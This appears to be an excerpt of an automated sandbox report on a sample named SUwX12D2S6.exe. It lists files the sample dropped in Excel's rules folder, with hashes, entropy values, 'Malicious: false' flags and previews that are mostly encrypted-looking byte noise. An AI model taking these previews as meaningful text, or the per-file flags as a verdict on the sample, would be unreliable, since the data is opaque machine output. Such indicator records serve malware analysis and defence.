SSDEEP:	24:IAuJSAVJ/1ZSbWHKlO6fjL0/OVSN1NJn/ZxZy6z3AAy4ZgVbD:IHJSMWWUO6UGqnBZxJzGsgFD
MD5:	B2FFD622E7EF9CA746C376D4AC233F36
SHA1:	85C3C748C1D1893CD35FC955C53CAD29B8F66205
SHA-256:	6A86243F1DC80C08A26AE72E8430C82D1A39EE5D40C617CBCA87F829CECFF2EC
SHA-512:	11178971203295104F8DF3C40287392218E24B44FCF3DBF92963E732C594B539CA9281169CC7D1877B059516E3ECFE7499B909C9AE290C9EE960B11E0B0FA38D
Malicious:	false
Preview:	<?xml....&.....${s.).....+54c..B...14..%...4.u.]t.....r........&...2.G.nozHkB...nft.....l..s.0.9.1.`:..[...7H..j...h..u.6{..O.......... u..'..S.}...."o746.D...y.a.:6..m@II.....e.......Nbi.e...^..}>..[.[s.%}....i.....V^A..:..F.;.+.{..GX...,J...K.. .,.. .'.t..!)U.$......R...~.'.)Ab#.?Yd0..?.....x........W.`U.O..z#.f.i.<B...LR_u.sz...G..i..K%5.G<.&T.....b.......-.......8...R..E.)...3.`.3.k.....G+...h.......Yl.7B..v....QI..).+I..0..z..g..}.....#.......c=.\|..-.z8.K.-..uI.1=.@....^..E$G.M.l...{....B".NgRQ...5....<...n.c...B{.....;.\|..i.6.;.........Q..B...?...Z........a..w.#.b+.0M .w.S....S.9.q..c...I....w.)._7,b.X.wxv......a...HFh..:..........f.Efc.!..........._{...9.&.B ...r..7 9........N..o!.......w.T.(.Pp)om[....]...)8y..nI..A.(C.`.DM.L.p..g....S-.V.....w......_.,2...vW.!.3di...o.j.......uL...-[...w].......V....UZ,x4`X..w......1.(.o'...U..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63054v5.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2404
Entropy (8bit):	7.910973140730039
Encrypted:	false
SSDEEP:	48:ZOxHKVRGx2XCE0hkqmaRd2ZJoQYWSWCsRR4AVow3ZR49H/zA8ViyZFD:ZO1KVcaxqkgOJoQYv6R/VowpR5I9
MD5:	36BE8B164486206DF298D0E7F4E3810D
SHA1:	453D1AC55D5785B5F6BBDD492E9874695482E8EF
SHA-256:	252351956AB40E766653C562D99EDA1C857C28FEB015679658EDFA5F7FE747C9
SHA-512:	D2A37E16C2C1458FDA81B2788B56500F53AD68355D63A2B85B905A670E79A6BA8F669F73077715FB28967D9DE13E826BCEA775363C8541C6B9EC8972B7138DF0
Malicious:	false
Preview:	<?xml..QP..D....Q.5~G.x....=.v_.D5..Z.....B..E1...6.Y.4e.q.....JQk...+"O.}0.c..!\|.a..`.k.........n@^):c....j.1......D..I....}..)K.a........#....Rp.!5..C4.e..p.v.........jX.~......:d{......"...J4.'e.p=..cQ!......)v1..#. ..,.N...[.A.........mp.l....Dw.......;;.8.F.F.#m.........._.....0......<8e..G.).,;.(..P{.?...K.qS..r..yj..Bo..L...;....R?.0.."..atpy;.;p..g..:a.]..4..0r1G.....r......#..A.V\..X.....@+f<[.x.^.r.7..]..<%<.]t..d.>.a!.d.Nx7.W..=.[.b..cEi.Z....8.B..h%.......8a.s..M.A.\|.......$....w..(lL......%.b. ..R..>.+Z[`k..\.."....k.b.R].y.;'....k..leh&..............$.Jv\[W.u.oK...P....lx.4....%q.fVI9.,r}H..n.e..g..I.7.$h... .\.kU..5v.K.O`.x.T..h.~.......n<..P....w.,6..O..o.nn..i.....2j..x.^....>....D..H.9..\|...,.<.`.....R. ..zp3........X..IW.....w.6$.D.......\k...r.(S....E...a+...D..X5d.Ju#..`vZ....Ck .k....G.....NV.....~........8fz#..I......Y0.O.....7O.N^8..d..)'a]+t.m`C...qH.I.B.Fu.$.3..l$`...q.d..s.(HrS.'(U.......j.DM2'.m.}9....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63056v9.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3203
Entropy (8bit):	7.943477464964567
Encrypted:	false
SSDEEP:	96:kpBqq68m5Rtc1JA8Op3Pf9u1CMquoHHWjKYbz9hdx9:kDlm5RYJqFH9u0JuoWjKC9hdn
MD5:	AE9C6D7E8DE5D97B0FAC30A7B8BA8E55
SHA1:	2D7988A4FE56571EA80EBFA57DB3565AF8392617
SHA-256:	2D986A173BC0A4476D3E185F45C4F0FDCCDCCF840172D1908DEBA40826CB6219
SHA-512:	912A668A61DD5BE5807050784CB57FC779021ACB3A0CC0C988AC2148E5962550F13A50F7C4FEDBDAE3DC2C5ADF0344C37596B0CA30DE6F1637EA1B720E5FC420
Malicious:	false
Preview:	<?xmlIY.&/.R}.lx4[=Q=....}..#.~.WJ.4.<.X.....m:.+.K{.%B...D1..^?=c$.....]Z.'....I~.^...f"..]5Y...T.......8..Q...K........B..hS..`.SNb".........nlL_b..~.......7...-..&U?........(e.m.....x.U.4(.}.$R.)F`>c...\|.7.I.. .~xa..'.y...K..p..dx.'..I(.V.a..z.4[...NY..).0..J..._D...5.Y.\..82A.6....B...wA..oE.@....G3.PD....&v..c.k...D....NbG..p.h...{.eq"?..z......"$5.....Lh.%.y....>..t.O..\|n.L..,...n.....f....B.....[zW..y.,..P.+.Y2....KC...Z;i.n.ZL.jG.S5..w.Q....u(.O...47.j..^.3u.H..\|..T.......4.e...E.W....j......Q0k=..NhVW..%_.>C........fAC..&.^2..Q.N..q..=....8s.rb.HO....s.l..gQ.HA...k.~.V,.Fi.ne.......vQ.-.>......3..i=...lc.....s.P.4...c}.{.f9,......R....G.....v.D5.".=.7.8.)W...scr..(..4.z.=.a.:........$...W\tu(&.5...UG.....2./.?........=....(....Q...9..7&._1O...l/^......7.C2ef.....$@...?O.....m..........UW......_..F........A[=...)..d.......&d...\......*6.JnH..<...U.AH8..t.ON.}0...1.m...B%Ti.-\....;I:m....f..,.s...V.4.>...c.].'.....f.R.Em.~.7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63057v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2512
Entropy (8bit):	7.925735044897757
Encrypted:	false
SSDEEP:	48:83iUh+hxjI8YWarf/w+Px1Gkf0GYaZEfGsQVOli+An5FD:83i8Q9Igef/1xdfNYaZ7VoiH59
MD5:	6EFD8F43EA69CAAA375BD51FE9656F19
SHA1:	FE9C14D4D00D5FA33D65D6C6891965E1666CCA39
SHA-256:	B7992181402B9E86D803AD75B9842934AE2780EA25222A6D93788151AD2CC9E8
SHA-512:	E02E8F18366DCF1F73BB1A3E820A6CC5B6984CDB4F97E0C6BED4D1CF3A4C144342256E24C52925DD1AAF1DE7A6D6E28559F24E504564D334D33269BDBE377E41
Malicious:	false
Preview:	<?xml..@w.qu4..1T.k.T. .9.......sGNq....^.;.,E..E..uu.rhi..e..`8....0.@.^!`........e].C...C.......?U...[....8.[M....-...6...][.S....\|.......J!.L.~=....z..Un.6k".rF.z.....\.....\|>G./.,k.F3.[2..6..NGC+.A.}X....!...r..Q.n..Ur......L`c8..1..B._A..[...HW..T.Xs..!.w.E$..\....L:.f.8....q%;..dR).v5.wuc....(..q<..6..PLm.....OQ6D..o.VG(..)...f...G1.Ce.=....R.K...M.....dPt.N...q...n...p.$..S..u.f.\|tR\...).r....c....+.....%.%^0...b........i..+.\|Z.{.VX;........^Y.C2H}hoI...M'..M....P`Jg.sZ2.l..9..S.0..\dd..o/8..G.C.MPF.X%[.QR..jC.G..\.F.....f...BF.&.-...L.u.L.........5.7-o...;...$/k.d.....k..:.CV..S8....f..<..:h^'y..W.(F%...P\.....N....U.`4...K......t....yz...T[.l..7...0..O..\|.R...}Q.}$...c.Ui@..../.....o.#;.h=..Rhg>...\.}(..cD.]....m]k....b....J......M....`...?.2.ANk4..j{....8.RNU.e..N...}..g..- F..R.m........"?..0;W.D.R=.S]z.h.[./.lM..W>O...%..}..L..$8..X..\._[...o......=..N.....8v._.... .6.?%D..W..<.9.0....S. .f..n[.....;..a/<.*.b..j&.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63058v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1247
Entropy (8bit):	7.853127967572451
Encrypted:	false
SSDEEP:	24:y1S0pAa1q8w6iv1TnNc2LGQt2/dWLG/b5Thns1vplVbD:apH1qn6ivFNpLkWubvs1vnFD
MD5:	482BA0A7D5F1BA19689B77A89C1B62FE
SHA1:	02E6EA9A9594D05DA63A75AED9E7E3F06B83CF42
SHA-256:	F93481D649CED9D06DCB66EE47B33CBD263AFE832EEA61B14D7A68BFF60063CE
SHA-512:	02423D5D7AD039E2915264B5AD40089A43237112B621FF4685C236D95C4DE2F660B664951601154E087F02184349A02034FDB1544B2399C214B5D8598B3756EB
Malicious:	false
Preview:	<?xml..^.p1.@\|,5..\|.S.s....y.X.E..";P.w..<....2...hw\|sdo.(.MT\|J#..U..4.;.....8.+f.]E..>q...R...b.0.....u..\|.>B.....wc...../m.UW..>..<..A;D~.,....8L.YA...4FnQ.v.s.:.P.....k...8+...........Yp.4..6X.C...H.....`......X.T.N......6.K..Cn....jF..$/....k.L...+h...)......c......x..V.l..h...+.I6.Y).;.#%...J>."U...W$..Qa..............H....Y.o...5Ar9rk).bH........Hbg...E......R_.....T.!.$z.......e"..'..u.....Rw]Y.+?...L,._..<.`.$x....L..uV.3t ..M./s.x..[..p.@....{.X~..M.<.....;..Ov.k.s.....C.mx.o.:_.)....N.z.)H\...w!W.j.....1.hy[..Q.......M.......-....w.DG Q7.......:%...5.."X.F..I?i.8.u....o...XI.=V....}...{.....&..c.I......;...I...........\[..!.....g+..h.0...@.......Ec.c..........o......?.jW........q~.\r..9r../@..6......}..AFU.W....L...U.@=...P.W..H......1h}.K.Q)...Z]........:Pmf...P.`.L..F8.....f.7%"...q@.;>.....[.[ ./....c...@Q.......^Q\+.............C.{.>.;.S..r.:.l...+...]kJ\...8.~n.+.....a.S....t..!.........{.g.....Wo]EwX.............0...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63059v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	950
Entropy (8bit):	7.730783162640731
Encrypted:	false
SSDEEP:	24:RZBjU7f03Vj262JSlUVvCouo1sVlFnYSqRfY2qRRRZ/CENPNBCVbD:RTU7GP2/Vv1sfFnYSABqRRRZCENuFD
MD5:	1FAFE4ACD33511E49B9F3A39D81C1631
SHA1:	0D762456963450D6DF4833F39ECBF4F3A07D0FBB
SHA-256:	73AC652B8A0D25498940EAF364A080C04171A467A0EC64517BBD23459400FFF6
SHA-512:	89B08B9FE425D587FA4D6DE8BC42E990E277F5336AB304B9AB8FFF0CD749B9C475803F1C3CA1C8B674DC081B63EC9166ADD81103DFAACF7E5E4FA24F6109A37D
Malicious:	false
Preview:	<?xml.\|k.@...=......B...`.O.k..Y\...v...c=...TrLue...'.m@..s..I...7c.=..dj....."m..<....+w..G..k..w..z.h.]Q.:.7X.#.v.v...t..7H@^....F.K..R.w.U..B..k..8..c.]..1d.0p].i.e........L.G\|b[..x.qx.....h4..L....U.^..#Ca...."..8....VNh....9.iz..`9.VG...._.Z...%..z0..l..8.=0O...]..."8su....IJvg..}...] 2.w.Qp..nF..S[.7..)s.UP.P,.8hy..1j..>....z.&!.H...c.?1..>......c.1._.eE..u?..`.T...8\|_.h...n..U..!..wx.b..~... ..`.......B...'.}U9....r.z...9.ne.0.,....m.r. ...}.....r.V.%0_.X..s'NM5.........!.}....IO..3.a.w.F......YV.V.0...c.X).X.o..5<...((_._5......H.?..lD....m.-.,8b..k<...!..Q.k$.b?!mJI..R.j.....7\..e.~...-..)...e?...Qq.....%n..hr.......[.C.&..9.#'.A...2'..jg.........=z...ja..Q.....[..[..G.>._...g8m..`3........z...b...GqX"8..?.X.Y+.P.\|..Y.h...FO..L.?$B..7.S.f`..i~.J.`.S.....~....i.q....1k......k...K0.......k.?~...N..zh-....].VI..l.._.L.F......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63063v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1125
Entropy (8bit):	7.83414018339527
Encrypted:	false
SSDEEP:	24:himB2ZsFAj3KyOnNZHP2ZhcKuCVHZug8fBSEofUf09qUptVbD:Em633KyONZv2cfxx5aUsfjFD
MD5:	691DF81FC282CE8BD90A8247025F14AD
SHA1:	7D2A9AFD4E430DDA85F11FB8468053688A3F14D1
SHA-256:	373CC0A6EF3BBBFC00BD444A686252C685575BFE7BD101980D49006204BA39B0
SHA-512:	580F6E8FC2D760DA032D9ABFFE793C49C6B2F13D40A44C72CDA4F2920E6D30EF08CF938B0AC040F06A4B2812773E9FD59050535C35576CDFBD8873EE479FBE65
Malicious:	false
Preview:	<?xml....I.@..m...)D..;^T.^...._.;.}.....{.Vt.i.3.;..}.....>)..-P...U.E`.%..p..;.m..7......:.n...3f..s.\|..wH.-.Hw.4....(.....;#.h...e,<.Q....kue.b1.;.z.=..THS.+...a..:....N....&w.z.....?.R%.p.-..ScpzT......8. \|........J.#m....[p..V....9.5....jmO2.$..\| .....C.(.H>..$.....4(Q.&L.g.T..M./.b.G..=......l.=.Y$....a.4..}!j............P..{.H.AN..q",..c;...Z=...md1...Z.P....\|Q..Q\|"...w..k.......[.s.h`B..NK......<.D.&....h..J..N..Kj....R..baE...'.z'3.."xW..2..&U.o.....q.Dc.OH....<ai.&...... .$...;:..z.-.F.e.......b..].A%"...gU..M...ra..^:{Y.`...$....F7...+...............b.3.GB.,....m.....N...^..<.6...s..p..D..1.g.#r.).1.-O.7_<w.2d....`.O.8.I.Lk.>.M.\.S>.\.AKp...k.vk.....^>.)...\.....Q.To@3...@. u...U._..N.WN.V..Q.c..I_.%...4.".].Y....G^...=.6Q.d.....tv..g...L.....{.N.G..d.e3..e..n&....-.&=.9<s.G.z..'=..{.%.hU.#y.[....h...Y...7Q ...b...".+.\.L.=j.`..@.~)...8.D/..{ij...*c...?.hx.&.Z...2l.w\.k.2....8Z.&...X..7m..'.CG...-.M........Q.9..&e..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63066v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1121
Entropy (8bit):	7.811495380765608
Encrypted:	false
SSDEEP:	24:GmSSELYxMM+bbXlS9Yg+UmeJrY6hu03RoYSKyOpC9+V2DVbD:jDELRbw6bUmi/H3RoYSKENFD
MD5:	FD564148298EBAC97E881B51395F8DB6
SHA1:	4D842BB507D0DF07C45DD4133DFE5DC814D25C66
SHA-256:	0624C5754BF1A5109B3428A30DEFB4983D344EBDBA0850C15E856FB07ADE3BF2
SHA-512:	BCCE31D2EBE9066A5714DAD7682AABA034348BF998A3AB13230C948986E1B57343D4307AB92D9FD4B30D6B3C22CA09F465DD020393A43640F37271FE54E47250
Malicious:	false
Preview:	<?xml.c-..}V...%.GG.....7.p.A.9....G,E...A $,..lD.Ra....RB&.qr[...e-O..w......(..!@(..R..8..v.l..p......X..T3!..d...p...8..+..O_.]"..G&O.X.A...#....a..8.&H.47..R.f.w..T\\QW..G.@..Fi"....K....:....w.x..a..U...F=...EZJ....Y...{..+>.,.,.FU....~V;.TL.w7ec....<....U...t..v....9U:...).....DA.!...7.......t.f8.........f.pi....6e..A..x..D.}......?....Mp.g.....A..n........K..S..j.9x`.J...".....Y..:@t...E.o..BZ.R2.oJ.N`eb/n..O....L[j...y....1..q.....?........-......'.1.OZ.]....DSG.6q.u.8..q..x...R..O....;e...&.....`...s..j.~>`n...O.m.#.....WDh.e#..../.o.+...M.(...I....!.OV.zm9%".H>.,..)S..R.."...O..ET...B....\|......%..r4."_.04..B..Kd..M`OtP.p.F.M~.>..2].8dS>..!........$.y..3xA....>.c.W..,..2sBW.....T..f.3.....7O....Z..0...K...<...L..d.\.Sh....FhQj.s~..BN3.^.0.'..#.....Z....).W%@...;1....i..^w.~..3.f.bXT.^....n..........?...{..Z....}G.......]u\....d.b..kO.;D.F....}.2.`..[(...I.Y...v-@m.....9J.pP5.S.}...H...[.... .....zU.8..?...Z....q?..zH..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63067v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3109
Entropy (8bit):	7.934030252268853
Encrypted:	false
SSDEEP:	48:hPgdXXHohUf6Zi47k2wT9+9CsfBEbZs4I737hjri7TVLLY61M3a8MdtU0LXCFD:KdnITc2QktEbZsnwxo6S35V9
MD5:	3D7642EEAAE26BE54FAF9F62922C92D6
SHA1:	27A90B82BBC9C04C73E5FB6C2651DBE04F172610
SHA-256:	C2A5728869B931427C8F761B5C40F79A40329EC55DBE00BFABA2F89CED585A1D
SHA-512:	53AA4BADB63157228D673489C981E5C1B3824741769135CD18BA62018DBA7FBA079199513FABEBC4A34B4728ABF39DA8948CD0E6476828D4ABF46FFB0A9D8E11
Malicious:	false
Preview:	<?xml.>..^....H3\|T.^{..>Y...$!1..B.~y.3o...N...6...("M...A.v..?g..U..<...k.....&d6.....Y....1..tVJ....L...o/....+.Q..Ja..4..'q}..{..]w.!........O1:....R..0...Z-a......X..y....<.....NDm....=.Zv7..u..9P+.0...w.v..%..f..g..4.......{...."...K.J..y...z.S.....F.+.8.&....1V........i3...`..".yh......6..Q..t.d...g.=..Y .S....in#.. ..&.2G.....m.s.E.b...F?f.Z)..@2R'..-..Ma...p7s.@..[C...l..dq`.........U.....A$.....<D..D`..4WX.Fo..-.)...d.O.".l.]@..fu...0WU.4{.O.X....>.8..!..g .....0...-......K"..@%..q...'26.J.<G...W..+..@...e9f....~_.6.........'..Vl:........S.I.J....q.S.....b....h.{oKY..;..S.$.='A.m.CR1..;x.1.')..........N..W...5T.\|W..N.."\|.........$+...T..+.WJ..W.w.cR.."..i...2..#..n:..+.w..g.?@.Z.].}.C]..T./......y$....e<?lX.4....x.r....F..j.g...C....OQ..;..Ya...0T.&.0..../...yP..{.!..X..CF[....-.h.e..qqs.#3K-,}0le...Aee...+.Zm.>...m..=%Pr.&..^!..v..O..gN...x.....&wo'A..A.0.d. .k.buq.D'o.z..p..7@.........._l2.S....:V..k.:.z-...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63069v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2126
Entropy (8bit):	7.904152756660966
Encrypted:	false
SSDEEP:	48:IsTtBTaT2i/URCD0gwcbnasgL0nqTceUXOtjQR3nBA5ASLONFD:JtoT2i/URa91a14qTcelUBXuON9
MD5:	3536ADF4958A7E71E922358F433AFE25
SHA1:	196F977D7A69FF5110C8C4857FCCB41A6D73D978
SHA-256:	E354348DB75EE0EFE06E4511412F8B2BF5426A0D381EBA80BD19483DBC5C95AD
SHA-512:	3BDB1B5F8585CAF47D857BA19F82B8A9845F2FAB216B7A8380AF6D2466D70F326A8E245C86C7205497292717B705282A6ECD64573BB9E13753722D93988EDBFF
Malicious:	false
Preview:	<?xml.'.U....C.+....w$.q..1....g...2se...@..................-V..!}..(...?s.}4..:P`.{.......be.yr.0...R..C.'.0a.1..C.5...5..r.a.d.Nz....c. :..$.Gg..MR....>.....DL.rQa..(...p..tE.m....5......+'uO1?.}J..h.^.....}....b..ir...XS.....Jf.z...M.`%@.{U.E&iR.jte.Sf.{...XC.6......E...\.4F..\.x....Gvf.......Xl..Q...V.j...O.o{...;.g..i8F.....K.Z..z.s)x.(x....L.2B...\|"..C}G.&<...OmJx..W2[.?.........D...d....). ....W-../...@\......E06.n..,...R..../.S...b..%..8 .S..d"B.HB..l.,.a.......H.......b.....h?+.7.6p..6.U}..0e...H\.......!.....?c..kw...I..?.....Q)&.F.!Q...\<........h..h.C...:..... ...9..1_}...&P..NC..QE..N.T.;.........`.0..(].`.......p....$%....e-. .\..+.JV....n.......9..t.k.]x2G..-\|2.s.7.9.U...^..8_1......p..W-.gZ..i;..K..2E...F?..tt..0<..].\|U..F5.6@...)...:...<2..........4..OY.....G...{}6...Rdl..FUy....."..a.b!...M.....X..D..)8,`....;...i..8.>L.7..5.8...}.E.=$U.M..y...&..U....R.>.4Ld....RQ.'...s.k.}.DXz...D.G.....2..`....Z.....-Q..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63070v5.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.836563173704271
Encrypted:	false
SSDEEP:	24:6aNNuT3B87BtFXwv9DGuS+y1ntSuCmYFa8UCNISvYl9EOkVbD:1fUm7BPwcREuD6iAISvA9EZFD
MD5:	999100B99EF22C393487FF6810657414
SHA1:	11B70F57779F9691D5BF17D463B618175754684A
SHA-256:	A3D85E32750704E9DC423243831355E36F2564F77843615A16B1BF0F91E3BC22
SHA-512:	35FD3EEC4EBD019400DB626D6DE17D50A7199C35356C1351FCD013B2D5FDDB2984E03B187F2992B1C3023C6AEC6242F8D42AAF44445ED5A73D6B57BA77A965D9
Malicious:	false
Preview:	<?xml.[..o..c.U.I..?\|...o.~........L......&.+%...Z..T.3....N.K[.G.5......>..a4Q....}x.vL.P..i}w.w`N........J..KD....k.!....`6....D...........E.n}....U.G....)....%...R......u..r$m%8.\...'.x...e.....),..\|.P....U9....A.y..L.....F..7..F.I.HA)............Y...{.!...m..(..N..:Dz..;I...\|)c....36...+L.q;.D.....0f.M.............-...z...6..k)..!W.<:.Y.d=..^.Z.j.~{,..<&.)..&.$.._.%..y.........1hv.#.?.6VMm:.4.;.#............9.oK<.V........s...).tM.s.\..N....D...x .6\|.....6 .!.....Y..u...c...Tf..6..C..0.^Jz...}q.2.9..4!..0.b....S.7s..-.2E.........Es.7+.V........zuHEro)&.+.F.Z......&sm.........+..o.Dt.M:.8..C@-....@.06^T~.m.,.......Wo.>..clf..@.J.....4........odJ..c.MM.w..\|~....)4O)B.V!...h`(S....=%~Y......'...D...>........6..B...n..UG........$.#.....st..[^@...W..c......V...FH..kR....7.u..o.5...Zo....A$'Y.FL......Y.d..1....D.N..".B..jo~f..4.&......x&..\|=^Vz%.g.qN...b..~y......?.z....>.Z.n/...Q"........1.;..Z.....\N\|.Uf....Y..,{7....cO.V..`.6.Z..S.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63071v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	754
Entropy (8bit):	7.669709487725458
Encrypted:	false
SSDEEP:	12:GpExlDPNRzLgetIER0xcI//KValy7/rMQF7IfcCXsPmdp4bkTvMwSeBnAjVcii9a:Gc7NRHgWIEsc2KVpzMQde5CfoUIBiVbD
MD5:	F995A88475130E2896DA0AAFDA914CDA
SHA1:	D3C3D4FA3B4F3417A331503D232E0970BF9A6E4D
SHA-256:	0C134C3F85DC2123D666D5384CE81E0244373C14057DFAA3B2E41756F3108B28
SHA-512:	B2AD20B66B84D1E6EBCC09AD8FB89953098B99F4A065246ACF06510F1AD27AF299D41F66289C3CDD464F2B933ADAA42E3E761CF2044825B2CADA2F4245630C1E
Malicious:	false
Preview:	<?xml.ue...ONrS.N..Q.......MX....%v..E..ft...pE.+.!-..a;[....T..K.J&....b.V.=.+...3D^.....q.r,Ati..".>R.X...lM.\.}C.).1k...A$&".G...... ..h....a.2.....S..'.M...P...Y..Q..#h.Rk=...{.g.2....p .%...b.C>..M.-...Gy..N.o.O...9..8.j.\..C......{.....\..B..-.v#..1\......k.pR...r......C..t...{.`...-..7.\.......&Q.....B3'.1...."@.m1....y%[\|.O.....q,.0..("..:......-Ac........:..#8......U.V.?.t.......J....<.R...:H..k....&W_E7.R....Z".R...Z:......$....P.v..a{.....?+.:..k.n.=OR...O5....p....Ir.M.t;.9.C.4u.........y..N..U..k.HE.m...'>.....,m7.IIw.T.eSx..t.}_.....)..p.).I).9._...&..l..E..Mo..j...+eS.......Z..ln&.n.t.k.4....hrB0./z..79..g..v.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63077v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1399
Entropy (8bit):	7.843348368082445
Encrypted:	false
SSDEEP:	24:gYdPgIJC3o2mBwa+AfzuxH47mDyb/w9MRS93hkseyJEMtv8/o2VbD:g6P38zCfXfzuxH4aDk2o+lZQ1FD
MD5:	FE3C8B6631A90F81EFD82F25F5DC9885
SHA1:	231DFB1BD34A87FDDCC8C0A714C5BD1CDCCF0EA4
SHA-256:	1B8A5D523A330A3F1C571938708D4BE7329EB1A795862D067507C799F3964491
SHA-512:	1E9706D486A701918C4E58E7DD31C1AB377FA0065B950C0C28141DA0A1FEFA3080D5F60BBCC366C446374E1E207CF33E5DBB62D5ADB299EF33FC92D77339ACC2
Malicious:	false
Preview:	<?xml.%.]\|\.......?/b0.E...4.WPP4.)W....\.......hx.{.&&O;....8.D...ZQSS.zB..,I.M=..C...9......G+`U....^l....N.;Ou ).....-..+n.}.\M...xU.eh..N..m.J(.......q:..C.0..M...\|s}._Y.`c..\Ty\...~aA>..]....hg..}......Z...a.i/8.K...B..+-..o.j2.f...}.7i,V...@......h.....+..%.A.}.\s:..E!O'l...&YM.R..YP..^........A7.{..~>!....b".......@b..1.+q.O....KA.`...K..@..~.......h...\t....3..,{....<......u.^N..`....k.s8....].b.....S.(l%{..u.sq.DQ...m....0]I.....4`....#1-3Cq.{Px.,JqX....EM.c........v.....B.5..G{X.U.....V..K:..,..k..HEp9...I...>,<qV=J......[...:%...q.M>.{...._.!u..S..m.... .,.y.R@.\..8.Z.......Le.O........].w..).U.$j.Rh0.H..fgu....i...ia.9.gh...}uV^&.Ta....[..f.R8~26./......'s.V...<[)\....pK-H.n=..?..\|..rJ.c..y....+.&I..sP.mb..n[.QI...1.1.[..!R.-g..~.0fX....+ c.ng ..(..-u>O...V.wh.=j.....+...ICc.OQ.....ab...nm ..jwi..#,_.......+sq.]....SFt.....q.}.....:.....8..TV.'@.C..491u.........72..).....,....q.;y.....QPV..$......wj......>]...m..v.&}...B3g

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63078v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	708
Entropy (8bit):	7.705168396954462
Encrypted:	false
SSDEEP:	12:weKHRaBQfEaQgaPNm8o+1qLjYIv7BwSMrsiKP6UvH07WGemlr2a2SkF+DIejVciD:wVxKQfFwNm8oMqLF9nM4Z0h5lr2acMIk
MD5:	0DCE535D03A13A1D9332149BAA08A220
SHA1:	0D9389126FB84FF06F57D54C20E480462AD4F073
SHA-256:	5C158361CFF60A8531A14DBA158894995AAC0730CAA93371CA7BA18F9496910F
SHA-512:	3140DD9FF7699281CB2EBF9A06A341A05535EAF5D1FE0DAA73D6FCD25CB841D45B05F43A8DCB28A047CE0FC7C2604B2C542678552302813C514BB48E74E5D0BB
Malicious:	false
Preview:	<?xml.&+.w"l..F.l........\$.L....,....pl.&.P.Q!.v...~.u_7....-M.6....&.NS.{..$........v..^.Y....3M.0.3q..Y..P....K....w..A.B.V.....O@)Qu.C..H.e..._(...<d...h..M...........f.....3......`5.w(g.L..O.._d...4.^1...a."..B....k..c.....6...@..c..H...T.C..X......b..a.d..f...#..B.pvqd@...V.......6e.'m.y.2].../.b...S..F..=..!.7j..2.......'.g....c.=&J....s+..i..O....,.9_d...K.....L.A`/\..y\.....?..B.6n.!.M...r.G........v.r.^v..S.L..#C7U..y....@.V..sy.c...}...........k....7..1..#.....C.].n[.s.^.=\|q.?......s.C.1..x&...Z....X.B.^..Z..b.K.@R>..D.ZS...C'lMS..z*.E.v.%.K>".^.y.g.-[.v..1].....f.......z..$}]...wB.;itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65136v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1132
Entropy (8bit):	7.829505157488158
Encrypted:	false
SSDEEP:	24:lu8WGwg4BIyB0KtZaHtVL1lSvKvcz+XnzwLwFHU1mYq2SpbUSB9VbD:k1WWXyVn4wczEgwFHU11muSB9FD
MD5:	AE012DAE22744D411D99737212790058
SHA1:	38BC58010A3D5F773168B1C7CD90BA34FA6282BC
SHA-256:	5AF1E2DAA4A35B2BD91C9AA8732EE5934A9201F8307F4AAC67D3239877CEC2D5
SHA-512:	8361819EE80EFFD767E0C327B75EDC9805630E4F0CC651CCBCEDFBC33852B7D0E13E34F38DE007597E745BBA702E253C92D68AF215D07B9D676F4CA59D79C9C4
Malicious:	false
